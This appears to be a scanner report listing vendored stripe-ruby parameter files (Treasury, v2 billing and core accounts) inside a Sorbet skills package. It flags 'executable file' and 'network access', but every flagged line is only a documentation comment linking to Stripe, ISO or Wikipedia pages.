packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/credit_reversal_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/debit_reversal_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/debit_reversal_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/debit_reversal_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_close_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 175
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_features_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_features_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_retrieve_features_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_update_features_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 192
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 17
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_fail_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_return_inbound_transfer_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_succeed_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 20
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 86
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 110
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
  • Network accessline 138
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 156
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_fail_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_post_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_return_outbound_payment_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 21
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
  • Network accessline 37
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 51
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_fail_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_post_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_return_outbound_transfer_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 44
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 44
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/transaction_entry_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/transaction_entry_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/transaction_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/transaction_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_adjustment_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    # `value_settings.event_payload_key` (default is `value`). Read more about         # the         # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).
  • Network accessline 18
    # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_session_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_stream_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 17
    # `value_settings.event_payload_key` (default is `value`). Read more about           # the           # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).
  • Network accessline 19
    # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_close_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 101
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 178
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.
  • Network accessline 180
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p
  • Network accessline 851
    # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 853
    # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 878
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1040
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1090
    # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1092
    # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1094
    # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1142
    # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).
  • Network accessline 1179
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1213
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 1215
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1236
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1248
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1260
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1272
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1284
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1296
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1309
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 1311
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 1319
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1331
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1343
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1355
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1428
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 1430
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1450
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1485
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1609
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1666
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1715
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1727
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1740
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 1742
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 1750
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1763
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 1765
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 1773
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1785
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1864
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1899
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1995
    # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2052
    # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_link_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_token_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 29
    # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 31
    # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 33
    # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 106
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 140
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 142
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 163
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 175
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 187
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 199
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 211
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 223
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 236
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 238
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 246
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 258
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 270
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 282
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 355
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 357
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 377
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 412
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 536
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 593
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 642
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 654
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 667
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 669
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 677
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 690
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 692
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 700
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 712
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 791
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 826
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 922
    # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_token_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 107
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 188
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.
  • Network accessline 190
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p
  • Network accessline 861
    # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 863
    # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 888
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1057
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1107
    # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1109
    # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1111
    # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1189
    # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).
  • Network accessline 1232
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1266
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 1268
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1289
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1301
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1313
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1325
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1337
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1349
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1362
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 1364
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 1372
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1384
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1396
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1408
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1481
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 1483
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1503
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1538
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1662
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1719
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1768
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1780
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1793
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 1795
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 1803
